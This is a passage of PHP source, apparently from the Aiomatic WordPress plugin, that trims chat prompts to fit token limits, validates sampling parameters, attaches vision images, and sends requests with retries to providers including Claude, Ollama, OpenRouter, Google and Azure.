                            if($max_tokens - AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS > $prompt_tokens || aiomatic_is_new_token_window_model($model))
                            {
                                $aicontent = $aicontent_copy;
                                $prompt_modified = true;
                                if($prompt_tokens > aiomatic_get_max_input_tokens($model))
                                {
                                    $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], aiomatic_get_max_input_tokens($model), true);
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                    $prompt_tokens = 0;
                                    //check if there are enough tokens
                                    foreach($aicontent as $aimess)
                                    {
                                        $prompt_tokens += count(aiomatic_encode($aimess['content'])) + count(aiomatic_encode($aimess['role']));
                                    }
                                }
                                if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                                {
                                    $available_tokens = $max_tokens - $prompt_tokens;
                                }
                            }
                            else
                            {
                                if(strlen($embed_rez['data']) > 1000)
                                {
                                    $embed_rez['data'] = aiomatic_substr($embed_rez['data'], 0, 1000);
                                    $aicontent_copy[0]['content'] = $embed_rez['data'] . '\n' . $aicontent_copy[0]['content'];
                                    $prompt_tokens = 0;
                                    //check if there are enough tokens
                                    foreach($aicontent_copy as $aimess)
                                    {
                                        $prompt_tokens += count(aiomatic_encode($aimess['content'])) + count(aiomatic_encode($aimess['role']));
                                    }
                                }
                                if($max_tokens - AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS > $prompt_tokens)
                                {
                                    $aicontent = $aicontent_copy;
                                    $prompt_modified = true;
                                    $available_tokens = $max_tokens - $prompt_tokens;
                                }
                                else
                                {
                                    if($max_tokens - 100 > $prompt_tokens)
                                    {
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                        $available_tokens = $max_tokens - $prompt_tokens;
                                    }
                                    else
                                    {
                                        $aicontent_copy[0]['content'] = aiomatic_strip_to_token_count($aicontent_copy[0]['content'], $max_tokens, true);
                                        $aicontent = $aicontent_copy;
                                        $prompt_modified = true;
                                        $prompt_tokens = 0;
                                        //check if there are enough tokens
                                        foreach($aicontent_copy as $aimess)
                                        {
                                            $prompt_tokens += count(aiomatic_encode($aimess['content'])) + count(aiomatic_encode($aimess['role']));
                                        }
                                        $available_tokens = $max_tokens - $prompt_tokens;
                                    }
                                }
                            }
                        }
                    }
                }
                if($prompt_modified == true)
                {
                    $aitext = '';
                    foreach($aicontent as $aimess)
                    {
                        if(isset($aimess['content']))
                        {
                            if(!is_array($aimess['content']))
                            {
                                $aitext .= $aimess['content'] . '\n';
                            }
                            else
                            {
                                foreach($aimess['content'] as $internalmess)
                                {
                                    if($internalmess['type'] == 'text')
                                    {
                                        $aitext .= $internalmess['text'] . '\n';
                                    }
                                }
                            }
                        }
                    }
                }
                $aitext = rtrim($aitext);
                if(aiomatic_check_if_available_token_recalc_needed($model, $aiomatic_Main_Settings))
                {
                    $content_tokens = count(aiomatic_encode($aitext));
                    $total_tokens = $content_tokens + $available_tokens;
                    if($total_tokens >= $max_tokens && !aiomatic_is_new_token_window_model($model))
                    {
                        $available_tokens = $max_tokens - $content_tokens;
                        if($available_tokens < AIOMATIC_MINIMUM_TOKENS_FOR_COMPLETIONS)
                        {
                            $string_len = strlen($aicontent[0]['content']);
                            $string_len = $string_len / 2;
                            $string_len = intval(0 - $string_len);
                            $aicontent[0]['content'] = aiomatic_substr($aicontent[0]['content'], 0, $string_len);
                            $aicontent[0]['content'] = trim($aicontent[0]['content']);
                            $aitext = '';
                            foreach($aicontent as $aimess)
                            {
                                if(isset($aimess['content']))
                                {
                                    if(!is_array($aimess['content']))
                                    {
                                        $aitext .= $aimess['content'] . '\n';
                                    }
                                    else
                                    {
                                        foreach($aimess['content'] as $internalmess)
                                        {
                                            if($internalmess['type'] == 'text')
                                            {
                                                $aitext .= $internalmess['text'] . '\n';
                                            }
                                        }
                                    }
                                }
                            }
                            $query_token_count = count(aiomatic_encode($aitext));
                            $available_tokens = $max_tokens - $query_token_count;
                        }
                    }
                }
                $aiomatic_Limit_Settings = get_option('aiomatic_Limit_Settings', false);
                $stop = null;
                $session = aiomatic_get_session_id();
                $mode = 'text';
                $maxResults = 1;
                $query = new Aiomatic_Query($aitext, $available_tokens, $model, $temperature, $stop, $env, $mode, $token, $session, $maxResults, '', '');
                $ok = apply_filters( 'aiomatic_ai_allowed', true, $aiomatic_Limit_Settings );
                if ( $ok !== true ) {
                    $error = $ok;
                    return false;
                }
                if(isset($aiomatic_Main_Settings['enable_detailed_logging']) && $aiomatic_Main_Settings['enable_detailed_logging'] == 'on' && AIOMATIC_IS_DEBUG === true)
                {
                    aiomatic_log_to_file('Generating chat AI text using model: ' . $model . ' and prompt: ' . $aitext);
                }
                $delay = '';
                if (isset($aiomatic_Main_Settings['request_delay']) && $aiomatic_Main_Settings['request_delay'] != '') 
                {
                    if(stristr($aiomatic_Main_Settings['request_delay'], ',') !== false)
                    {
                        $tempo = explode(',', $aiomatic_Main_Settings['request_delay']);
                        if(isset($tempo[1]) && is_numeric(trim($tempo[1])) && is_numeric(trim($tempo[0])))
                        {
                            $delay = rand(trim($tempo[0]), trim($tempo[1]));
                        }
                    }
                    else
                    {
                        if(is_numeric(trim($aiomatic_Main_Settings['request_delay'])))
                        {
                            $delay = intval(trim($aiomatic_Main_Settings['request_delay']));
                        }
                    }
                }
                if($delay != '' && is_numeric($delay))
                {
                    usleep(intval($delay) * 1000);
                }
                if($temperature < 0 || $temperature > 1)
                {
                    $temperature = 1;
                }
                if($top_p < 0 || $top_p > 1)
                {
                    $top_p = 1;
                }
                if($presence_penalty < -2 || $presence_penalty > 2)
                {
                    $presence_penalty = 0;
                }
                if($frequency_penalty < -2 || $frequency_penalty > 2)
                {
                    $frequency_penalty = 0;
                }
                if($temperature == '' || (empty($temperature) && $temperature !== 0))
                {
                    $temperature = 1;
                }
                if($top_p == '' || (empty($top_p) && $top_p !== 0))
                {
                    $top_p = 1;
                }
                if($presence_penalty == '' || (empty($presence_penalty) && $presence_penalty !== 0))
                {
                    $presence_penalty = 0;
                }
                if($frequency_penalty == '' || (empty($frequency_penalty) && $frequency_penalty !== 0))
                {
                    $frequency_penalty = 0;
                }
                $count_vision = false;
                //currently Azure not supported for vision
                if(!(aiomatic_check_if_azure_or_others($aiomatic_Main_Settings, $model)) && aiomatic_is_vision_model($model, ''))
                {
                    if($dont_add_vision == false && $vision_file != '')
                    {
                        $base64_vision = '';
                        foreach($aicontent as $ind => $indval)
                        {
                            if($indval['role'] == 'system' || $indval['role'] == 'assistant')
                            {
                                continue;
                            }
                            $xcopy = $aicontent[$ind]['content'];
                            if(stristr($vision_file, 'http://localhost/') || stristr($vision_file, 'https://localhost/'))
                            {
                                $base64_vision = aiomatic_get_base64_from_url($vision_file);
                            }
                            if(!empty($base64_vision))
                            {
                                $xacontent = [
                                    [ "type" => "text", "text" => $xcopy ],
                                    [ "type" => "image_url", "image_url" => [ "url" => "data:image/jpeg;base64," . $base64_vision, "detail" => "low" ] ]
                                ];
                            }
                            else
                            {
                                $xacontent = [
                                    [ "type" => "text", "text" => $xcopy ],
                                    [ "type" => "image_url", "image_url" => [ "url" => $vision_file, "detail" => "low" ] ]
                                ];
                            }
                            $aicontent[$ind]['content'] = $xacontent;
                            $count_vision = true;
                            break;
                        }
                    }
                }
                if(aiomatic_is_aiomaticapi_key($token))
                {
                    $pargs = array();
                    $api_url = 'https://aiomaticapi.com/apis/ai/v1/chat/';
                    $pargs['apikey'] = trim($token);
                    $pargs['model'] = trim($model);
                    $pargs['temperature'] = $temperature;
                    $pargs['top_p'] = $top_p;
                    $pargs['presence_penalty'] = $presence_penalty;
                    $pargs['frequency_penalty'] = $frequency_penalty;
                    $pargs['messages'] = $aicontent;
                    if (!isset($aiomatic_Main_Settings['no_max']) || $aiomatic_Main_Settings['no_max'] != 'on')
                    {
                        $pargs['max_tokens'] = $available_tokens;
                    }
                    if($functions !== false && !empty($functions) && isset($functions['functions']) && !empty($functions['functions']))
                    {
                        $pargs['tools'] = (array) $functions['functions'];
                        $pargs['tool_choice'] = 'auto';
                    }
                    $ai_response = aiomatic_get_web_page_api($api_url, $pargs);
                    if($ai_response === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after initial failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to get AiomaticAPI response!';
                            return false;
                        }
                    }
                    $ai_json = json_decode($ai_response);
                    if($ai_json === null)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after decode failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to decode AiomaticAPI response: ' . $ai_response;
                            return false;
                        }
                    }
                    if(isset($ai_json->error))
                    {
                        if (stristr($ai_json->error, 'Your subscription expired, please renew it.') === false && stristr($ai_json->error, '[RATE LIMITED]') === false && isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after error failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error while processing AI response: ' . $ai_json->error;
                            return false;
                        }
                    }
                    if((isset($ai_json->finish_reason) && $ai_json->finish_reason == 'tool_calls') || (isset($ai_json->finish_details->type) && $ai_json->finish_details->type == 'tool_calls'))
                    {
                        if(isset($functions['message']))
                        {
                            $ai_json->result->content = $functions['message'];
                        }
                        else
                        {
                            $ai_json->result->content = 'OK';
                        }
                    }
                    if(!isset($ai_json->result->content))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') API call after parse failure: ' . print_r($api_url, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to parse AiomaticAPI response: ' . $ai_response;
                            return false;
                        }
                    }
                    if(isset($ai_json->remainingtokens))
                    {
                        set_transient('aiomaticapi_tokens', $ai_json->remainingtokens, 86400);
                    }
                    $ai_json = apply_filters( 'aiomatic_ai_reply_raw', $ai_json, $aicontent );
                    apply_filters( 'aiomatic_ai_reply', $ai_json->result, $query );
                    if($count_vision)
                    {
                        $stats = [
                            "env" => $query->env,
                            "session" => $query->session,
                            "mode" => 'image',
                            "model" => $query->model,
                            "apiRef" => $query->apiKey,
                            "units" => 1,
                            "type" => 'images',
                        ];
                        if (empty($stats["price"])) {
                            if (aiomatic_is_aiomaticapi_key($query->apiKey)) {
                                $stats["price"] = 0;
                            } else {
                                $stats["price"] = $GLOBALS['aiomatic_stats']->getVisionPrice($query->model);
                            }
                        }
                        $GLOBALS['aiomatic_stats']->add($stats);
                    }
                    return $ai_json->result->content;
                }
                elseif (aiomatic_is_claude_model($model)) 
                {
                    if(in_array($model, AIOMATIC_CLAUDE_MODELS) === false)
                    {
                        $error = 'This model is not currently supported by Claude API: ' . $model;
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['app_id_claude']) || trim($aiomatic_Main_Settings['app_id_claude']) == '')
                    {
                        aiomatic_log_to_file('You need to enter an Anthropic Claude API key in the plugin settings for this feature to work!');
                        return false;
                    }
                    $appids_claude = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_claude']));
                    $appids_claude = array_filter($appids_claude);
                    $token_claude = $appids_claude[array_rand($appids_claude)];
                    $result = aiomatic_generate_text_local_claude($token_claude, $model, $aicontent, $temperature, $top_p, $available_tokens, $stream, $is_chat, $error);
                    if($result === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Claude chat API call after initial failure: ' . print_r($error, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial Claude chat API response: ' . print_r($error, true);
                            return false;
                        }
                    }
                    else
                    {
                        if($stream === false)
                        {
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result, $query );
                            $finish_reason = 'stop';
                            return $result;
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                elseif(aiomatic_is_huggingface_model($model))
                {
                    if(!isset($aiomatic_Main_Settings['app_id_huggingface']) || $aiomatic_Main_Settings['app_id_huggingface'] == '')
                    {
                        $error = apply_filters('aiomatic_modify_ai_error', 'You need to add a HuggingFace API key for this to work.');
                        return false;
                    }
                    else
                    {
                        $appids_hugging = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_huggingface']));
                        $appids_hugging = array_filter($appids_hugging);
                        $token_hugging = $appids_hugging[array_rand($appids_hugging)];
                        $error = '';
                        $available_tokens = 2000;
                        
                        $response_text = aiomatic_generate_text_huggingface($token_hugging, $model, $aicontent, $env, $temperature, $top_p, $available_tokens, $stream, $error);
                        if(empty($response_text))
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') HuggingFace chat API call after initial failure: ' . print_r($error, true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                            }
                            else
                            {
                                $error = apply_filters('aiomatic_modify_ai_error', 'Error in HuggingFace: ' . $error);
                                return false;
                            }
                        }
                        else
                        {
                            if($response_text === false || empty($response_text))
                            {
                                $error = apply_filters('aiomatic_modify_ai_error', 'Response empty ' . $error);
                                return false;
                            }
                            return $response_text;
                        }
                    }
                }
                elseif(aiomatic_is_ollama_model($model))
                {
                    if(!isset($aiomatic_Main_Settings['ollama_url']) || $aiomatic_Main_Settings['ollama_url'] == '')
                    {
                        $error = apply_filters('aiomatic_modify_ai_error', 'You need to add an Ollama API URL in plugin settings, for this to work.');
                        return false;
                    }
                    else
                    {
                        $ollama_url = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['ollama_url']));
                        $ollama_url = array_filter($ollama_url);
                        $ollama_url = $ollama_url[array_rand($ollama_url)];
                        $ollama_url = rtrim(trim($ollama_url), '/');
                        $error = '';
                        $available_tokens = 4000;
                        $response_text = aiomatic_generate_text_ollama($ollama_url, $model, $aicontent, $env, $temperature, $top_p, $available_tokens, $stream, $error);
                        if(empty($response_text))
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Ollama chat API call after initial failure: ' . print_r($error, true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                            }
                            else
                            {
                                $error = apply_filters('aiomatic_modify_ai_error', 'Error in Ollama: ' . $error);
                                return false;
                            }
                        }
                        else
                        {
                            if($response_text === false || empty($response_text))
                            {
                                $error = apply_filters('aiomatic_modify_ai_error', 'Response empty ' . $error);
                                return false;
                            }
                            return $response_text;
                        }
                    }
                }
                elseif (aiomatic_is_openrouter_model($model)) 
                {
                    if (!isset($aiomatic_Main_Settings['app_id_openrouter']) || trim($aiomatic_Main_Settings['app_id_openrouter']) == '')
                    {
                        aiomatic_log_to_file('You need to enter an OpenRouter API key in the plugin settings for this feature to work!');
                        return false;
                    }
                    $appids_openrouter = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_openrouter']));
                    $appids_openrouter = array_filter($appids_openrouter);
                    $token_openrouter = $appids_openrouter[array_rand($appids_openrouter)];
                    $result = aiomatic_generate_text_openrouter($token_openrouter, $model, $aicontent, $temperature, $top_p, $available_tokens, $stream, $error);
                    if($result === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') OpenRouter chat API call after initial failure: ' . print_r($error, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial OpenRouter chat API response: ' . print_r($error, true);
                            return false;
                        }
                    }
                    else
                    {
                        if($stream === false)
                        {
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result, $query );
                            $finish_reason = 'stop';
                            return $result;
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                elseif (aiomatic_is_perplexity_model($model)) 
                {
                    if (!isset($aiomatic_Main_Settings['app_id_perplexity']) || trim($aiomatic_Main_Settings['app_id_perplexity']) == '')
                    {
                        aiomatic_log_to_file('You need to enter an PerplexityAI API key in the plugin settings for this feature to work!');
                        return false;
                    }
                    $appids_perplexity = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_perplexity']));
                    $appids_perplexity = array_filter($appids_perplexity);
                    $token_perplexity = $appids_perplexity[array_rand($appids_perplexity)];
                    $result = aiomatic_generate_text_perplexity($token_perplexity, $model, $aicontent, $temperature, $top_p, $presence_penalty, $frequency_penalty, $functions, $available_tokens, $stream, $retry_count, $query, $count_vision, $vision_file, $user_question, $env, $is_chat, $error, $function_result);
                    if($result === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') PerplexityAI chat API call after initial failure: ' . print_r($error, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial PerplexityAI chat API response: ' . print_r($error, true);
                            return false;
                        }
                    }
                    else
                    {
                        if($stream === false)
                        {
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result, $query );
                            $finish_reason = 'stop';
                            return $result;
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                elseif (aiomatic_is_google_model($model)) 
                {
                    if(in_array($model, AIOMATIC_GOOGLE_MODELS) === false)
                    {
                        $error = 'This model is not currently supported by Google API: ' . $model;
                        return false;
                    }
                    if (!isset($aiomatic_Main_Settings['app_id_google']) || trim($aiomatic_Main_Settings['app_id_google']) == '')
                    {
                        aiomatic_log_to_file('You need to enter an Google AI Studio API key in the plugin settings for this feature to work!');
                        return false;
                    }
                    $appids_google = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id_google']));
                    $appids_google = array_filter($appids_google);
                    $token_google = $appids_google[array_rand($appids_google)];
                    $result = aiomatic_generate_text_google($token_google, $model, $aicontent, $temperature, $top_p, $available_tokens, $stream, $is_chat, $error);
                    if($result === false)
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Google API call after initial failure: ' . print_r($error, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial Google API response: ' . print_r($error, true);
                            return false;
                        }
                    }
                    else
                    {
                        if($stream === false)
                        {
                            $result = apply_filters( 'aiomatic_ai_reply_raw', $result, $aicontent );
                            apply_filters( 'aiomatic_ai_reply', $result, $query );
                            $finish_reason = 'stop';
                            return $result;
                        }
                        else
                        {
                            return $result;
                        }
                    }
                }
                elseif (aiomatic_check_if_azure($aiomatic_Main_Settings)) 
                {
                    if (!isset($aiomatic_Main_Settings['azure_endpoint']) || trim($aiomatic_Main_Settings['azure_endpoint']) == '') 
                    {
                        $error = 'You need to enter an Azure Endpoint for this to work!';
                        return false;
                    }
                    if(in_array($model, AIOMATIC_AZURE_MODELS) === false)
                    {
                        $error = 'This model is not currently supported by Azure API: ' . $model;
                        return false;
                    }
                    if(aiomatic_is_trained_model($model))
                    {
                        $error = 'Fine-tuned models are not supported for Azure API';
                        return false;
                    }
                    $localAzureDeployments = array();
                    $depl_arr = aiomatic_get_deployments($token);
                    if(is_array($depl_arr))
                    {
                        foreach($depl_arr as $dar)
                        {
                            $localAzureDeployments[trim($dar->model)] = trim($dar->id);
                        }
                    }
                    $azureDeployment = '';
                    foreach ( $localAzureDeployments as $dmodel => $dname ) 
                    {
                        if ( $dmodel === str_replace('.', '', $model) || $dmodel === $model ) 
                        {
                            $azureDeployment = $dname;
                            break;
                        }
                    }
                    if ( $azureDeployment == '' ) 
                    {
                        $new_dep = aiomatic_update_deployments_azure($token);
                        if($new_dep !== false)
                        {
                            $localAzureDeployments = array();
                            foreach($new_dep as $dar)
                            {
                                $localAzureDeployments[trim($dar->model)] = trim($dar->id);
                            }
                            foreach ( $localAzureDeployments as $dmodel => $dname ) 
                            {
                                if ( $dmodel === str_replace('.', '', $model) || $dmodel === $model ) {
                                    $azureDeployment = $dname;
                                    break;
                                }
                            }
                        }
                        if ( $azureDeployment == '' ) 
                        {
                            $error = 'No added Azure deployment found for chat model: ' . $model . ' - you need to add this model in your Azure Portal as a Deployment';
                            return false;
                        }
                    }
                    $apiurl = trailingslashit(trim($aiomatic_Main_Settings['azure_endpoint'])) . 'openai/deployments/' . $azureDeployment . '/chat/completions' . AZURE_API_VERSION;
                    $base_params = [
                        'model' => str_replace('.', '', $model),
                        'messages' => $aicontent,
                        'temperature' => $temperature,
                        'top_p' => $top_p,
                        'presence_penalty' => $presence_penalty,
                        'frequency_penalty' => $frequency_penalty
                    ];
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        $base_params['stream'] = true;
                    }
                    if (!isset($aiomatic_Main_Settings['no_max']) || $aiomatic_Main_Settings['no_max'] != 'on')
                    {
                        $base_params['max_tokens'] = $available_tokens;
                    }
                    if($functions !== false && !empty($functions) && isset($functions['functions']) && !empty($functions['functions']))
                    {
                        $base_params['tools'] = $functions['functions'];
                        $base_params['tool_choice'] = 'auto';
                    }
                    try
                    {
                        $send_json = aiomatic_safe_json_encode($base_params);
                    }
                    catch(Exception $e)
                    {
                        $error = 'Error: Exception in chat API payload encoding: ' . print_r($e->getMessage(), true);
                        return false;
                    }
                    if($send_json === false)
                    {
                        $error = 'Error: Failed to encode chat API payload: ' . print_r($base_params, true);
                        return false;
                    }
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        add_action('http_api_curl', 'aiomatic_filterCurlForStream');
                    }
                    add_action('http_api_curl', 'aiomatic_add_proxy');
                    $api_call = wp_remote_post(
                        $apiurl,
                        array(
                            'headers' => array( 'Content-Type' => 'application/json', 'api-key' => $token ),
                            'body'        => $send_json,
                            'method'      => 'POST',
                            'data_format' => 'body',
                            'timeout'     => AIOMATIC_DEFAULT_BIG_TIMEOUT,
                        )
                    );
                    remove_action('http_api_curl', 'aiomatic_add_proxy');
                    if($stream === true && function_exists('curl_init') && extension_loaded("curl"))
                    {
                        remove_action('http_api_curl', 'aiomatic_filterCurlForStream');
                    }
                    if(is_wp_error( $api_call ))
                    {
                        if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                        {
                            aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') Azure chat API call after initial failure: ' . print_r($api_call, true));
                            sleep(pow(2, $retry_count));
                            return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                        }
                        else
                        {
                            $error = 'Error: Failed to get initial chat API response: ' . print_r($api_call, true);
                            return false;
                        }
                    }
                    else
                    {
                        $result = json_decode( $api_call['body'] );
                        if($result === null)
                        {
                            if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                            {
                                aiomatic_log_to_file('Retrying (' . (intval($retry_count) + 1) . ') chat API call after decode failure(1): ' . print_r($api_call['body'], true));
                                sleep(pow(2, $retry_count));
                                return aiomatic_generate_text_chat($token, $model, $aicontent, $available_tokens, $temperature, $top_p, $presence_penalty, $frequency_penalty, $is_chat, $env, intval($retry_count) + 1, $finish_reason, $error, true, true, $functions, $stream, $vision_file, true, $user_question, $embedding_namespace, $function_result, $dump_result);
                            }
                            else
                            {
                                $error = 'Error: Failed to decode initial chat API response: ' . print_r($api_call, true);
                                return false;
                            }
                        }
                        $is_error = false;
                        $sleep_time = false;
                        if(isset($result->error))
                        {
                            $result = $result->error;
                            $is_error = true;
                        }
                        if($is_error && isset($result->type))
                        {
                            if($result->type == 'insufficient_quota')
                            {
                                $error = 'Error: You exceeded your Azure OpenAI quota limit, please wait a period for the quota to refill (chat initial call).';
                                return false;
                            }
                            elseif($result->type == 'invalid_request_error')
                            {
                                $error = 'Error: Invalid request submitted to the Azure chat API, result: ' . print_r($result, true);
                                return false;
                            }
                            else
                            {
                                if (isset($aiomatic_Main_Settings['max_retry']) && $aiomatic_Main_Settings['max_retry'] != '' && is_numeric($aiomatic_Main_Settings['max_retry']) && intval($aiomatic_Main_Settings['max_retry']) > $retry_count)
                                {
                                    if(isset($result->code) && $result->code == 'rate_limit_exceeded')
                                    {
                                        $errmessage = $result->message;
                                        preg_match_all('#Rate limit reached for.*?in organization.*?Please try again in ([\d.]*?)s#i', $errmessage, $htmlrez);
                                        if(isset($htmlrez[1][0]))
                                        {
                                            $sleep_time = ceil(floatval($htmlrez[1][0]));
